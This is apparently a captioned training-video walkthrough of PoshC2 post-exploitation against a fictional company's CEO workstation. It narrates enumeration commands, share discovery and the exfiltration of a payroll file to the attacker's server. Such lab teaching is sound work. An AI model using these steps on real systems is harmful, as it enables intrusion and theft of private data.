WEBVTT

00:00:01.790 --> 00:00:02.550
In this demo,

00:00:02.550 --> 00:00:05.520
we're going to plan our post‑exploitation attack by

00:00:05.520 --> 00:00:07.170
enumerating our victim system.

00:00:07.740 --> 00:00:11.870
We will use a combination of PoshC2 modules and native Windows

00:00:11.870 --> 00:00:15.770
commands to help us identify any potential system vulnerabilities,

00:00:16.070 --> 00:00:18.170
as well as search for privileged accounts.

00:00:18.840 --> 00:00:19.420
Additionally,

00:00:19.420 --> 00:00:22.580
we will numerate network share locations connected to our target

00:00:22.580 --> 00:00:25.650
system and exfiltrate data to our attack machine.

00:00:26.640 --> 00:00:28.710
Starting on her Kali attack system,

00:00:28.720 --> 00:00:33.960
we will open the Posh server in a terminal window with the command posh‑server.

00:00:34.740 --> 00:00:35.260
Next,

00:00:35.260 --> 00:00:39.780
we will open a second terminal window and run the command posh to start the

00:00:39.790 --> 00:00:45.360
Implant Handler. We will use this split screen setup throughout our demo so we

00:00:45.360 --> 00:00:50.450
may receive immediate feedback on the PoshC2 server for any commands run by the

00:00:50.450 --> 00:00:57.060
PoshC2 Implant Handler against our compromised system. In the left terminal

00:00:57.060 --> 00:01:01.280
window on our Implant Handler we can select our implant by selecting the number

00:01:01.280 --> 00:01:02.370
next to the system.

00:01:02.940 --> 00:01:05.340
Currently, we have a single implant to choose from.

00:01:05.349 --> 00:01:06.040
However,

00:01:06.040 --> 00:01:08.720
in addition to giving us some basic information about the

00:01:08.720 --> 00:01:11.180
system on which the implant resides,

00:01:11.280 --> 00:01:15.560
such as machine name and user we are connected to, this prompt

00:01:15.560 --> 00:01:19.060
gives us the opportunity to switch between any exploited systems,

00:01:19.210 --> 00:01:21.770
as well as send commands to all implants.

00:01:22.740 --> 00:01:26.540
We will enter the number 2 and press Enter to start our command

00:01:26.540 --> 00:01:29.970
and control activity on the GLOBO‑PC‑01 system.

00:01:30.540 --> 00:01:33.850
We now get a PowerShell prompt indicating we are ready to send

00:01:33.860 --> 00:01:37.740
our system commands. As I mentioned earlier, in addition to

00:01:37.740 --> 00:01:41.130
running native Windows commands to gather information or take

00:01:41.140 --> 00:01:45.650
action against our target system, PoshC2 is very extendable,

00:01:45.660 --> 00:01:49.640
allowing any PowerShell script to run as a module by the framework.

00:01:49.640 --> 00:01:54.810
We can see the extensive list of pre‑built scripts from the PoshC2

00:01:54.810 --> 00:01:59.280
GitHub repo by running the listmodules command on the Impact Handler.

00:01:59.280 --> 00:02:03.960
Scrolling up, we see a variety of scripts ready for us to run in our

00:02:03.960 --> 00:02:05.080
attack engagement.

00:02:06.140 --> 00:02:09.500
Another nice feature to call out here, which you may have noticed,

00:02:09.570 --> 00:02:11.440
is the auto‑complete functionality,

00:02:11.450 --> 00:02:14.760
which will offer you any relevant modules as you begin to

00:02:14.760 --> 00:02:17.360
type your commands into the Impact Handler.

00:02:17.940 --> 00:02:21.160
Let's now enumerate our target system by gathering some system

00:02:21.160 --> 00:02:25.470
data. We will run the module get‑computerinfo.

00:02:26.240 --> 00:02:29.560
This will allow us to review a number of pieces on our system,

00:02:29.660 --> 00:02:33.270
including hotfixes applied, network data,

00:02:33.270 --> 00:02:37.760
including the system IP address, as well as the physical resources at the

00:02:37.760 --> 00:02:42.600
system's disposal. Gathering the system information can be key in

00:02:42.600 --> 00:02:45.020
identifying potential vulnerabilities on the system,

00:02:45.030 --> 00:02:49.650
which we can use PoshC2 or one of the compatible tooling modules

00:02:49.910 --> 00:02:52.750
used to extend the functionality of PoshC2.

00:02:53.140 --> 00:02:53.710
Next,

00:02:53.710 --> 00:02:56.200
we will pivot and take a look at all the processes

00:02:56.200 --> 00:02:57.670
which are running on the system.

00:02:58.540 --> 00:03:02.600
This time, we will test out running WMI commands via PoshC2.

00:03:03.640 --> 00:03:08.260
We enter wmic process list brief and press Return.

00:03:08.810 --> 00:03:12.190
Reviewing this process information, along with the system information,

00:03:12.340 --> 00:03:16.210
can help us to review any process vulnerabilities which can be exploited.

00:03:16.910 --> 00:03:18.340
Speaking of vulnerabilities,

00:03:18.380 --> 00:03:22.870
PoshC2 actually has a module to search just for that. You can run

00:03:22.870 --> 00:03:27.020
find‑allvulns, and the module will hunt through the system,

00:03:27.020 --> 00:03:29.850
identifying a potential vulnerability and if it

00:03:29.850 --> 00:03:31.660
applies to the particular system.

00:03:32.240 --> 00:03:34.930
Now let's search to see if the CEO has any mapped

00:03:34.930 --> 00:03:36.880
drives or connected network shares,

00:03:36.890 --> 00:03:40.960
which could potentially contain quite valuable information about Globomantics.

00:03:41.540 --> 00:03:46.210
We run the command Get‑SMBMapping to search for shares.

00:03:46.280 --> 00:03:47.100
And sure enough,

00:03:47.100 --> 00:03:51.560
we have found a path to what appears to be a file server called GLOBO‑INFRA.

00:03:53.040 --> 00:03:56.760
Let's dive deeper and see what the mapped drive actually contains.

00:03:57.630 --> 00:04:05.190
We run ls, space, z:\ and press Enter. Jackpot! It looks like the

00:04:05.190 --> 00:04:07.750
location contains some sensitive business data,

00:04:07.840 --> 00:04:09.490
including payroll information.

00:04:10.040 --> 00:04:12.780
Let's take advantage of this opportunity and copy some of

00:04:12.780 --> 00:04:14.680
this data back to our attack system.

00:04:15.140 --> 00:04:22.420
We can use the built‑in PoshC2 command of download‑file ‑source and in

00:04:22.420 --> 00:04:30.790
parentheses z:\payroll.csv and press Enter. Reviewing our PoshC2 server, it

00:04:30.790 --> 00:04:33.750
looks like the command was successful in copying the location.

00:04:34.840 --> 00:04:38.290
All files we choose to copy from PoshC2 will be

00:04:38.290 --> 00:04:40.080
stored underneath our project folder,

00:04:40.540 --> 00:04:44.650
which in our case will be globo‑attack in the downloads directory.

00:04:45.140 --> 00:04:47.660
Let's validate if the data actually transferred.

00:04:48.040 --> 00:04:51.550
We will close out of the Implant Handler momentarily by pressing

00:04:51.550 --> 00:04:56.050
Ctrl+D. At the terminal prompt, we will enter ls, space,

00:04:56.190 --> 00:05:03.960
/var/poshc2/globo‑attack/downloads and press Enter.

00:05:04.430 --> 00:05:06.040
Sure enough, the file is there,

00:05:06.180 --> 00:05:09.590
and we have successfully exfiltrated data from the Globomantics network.

00:05:10.320 --> 00:05:13.170
Let's move back into the Posh Implant Handler by typing

00:05:13.170 --> 00:05:16.450
posh, and enter, and reselect our implant.

00:05:17.030 --> 00:05:19.480
Now that we have a good understanding of the system

00:05:19.490 --> 00:05:21.510
that the Globomantics' CEO is using,

00:05:21.720 --> 00:05:25.700
let's direct our focus on the system accounts to identify any account with

00:05:25.700 --> 00:05:30.530
privileged access. We can run get‑userinfo and press Enter,

00:05:30.870 --> 00:05:34.970
which will load a PoshC2 module that enumerates the account information.

00:05:35.240 --> 00:05:38.580
The command output offers us not only a complete list of all

00:05:38.580 --> 00:05:41.750
users authorized on the GLOBO‑PC‑01 system,

00:05:42.340 --> 00:05:45.550
but as we scroll up, it highlights the administrative group as well,

00:05:45.940 --> 00:05:49.210
which will be a good target to focus on when we are ready to

00:05:49.210 --> 00:05:51.670
start attacking the CEO and his system.

00:05:52.630 --> 00:05:56.800
This ends our demo where we enumerated a compromised system to identify

00:05:56.800 --> 00:05:59.490
potential weaknesses to exploit during our attack.

00:06:00.040 --> 00:06:00.910
Additionally,

00:06:00.920 --> 00:06:05.440
we were able to identify and expand our attack to connected network shares

00:06:05.720 --> 00:06:09.160
and exfiltrate sensitive data from the Globomantics network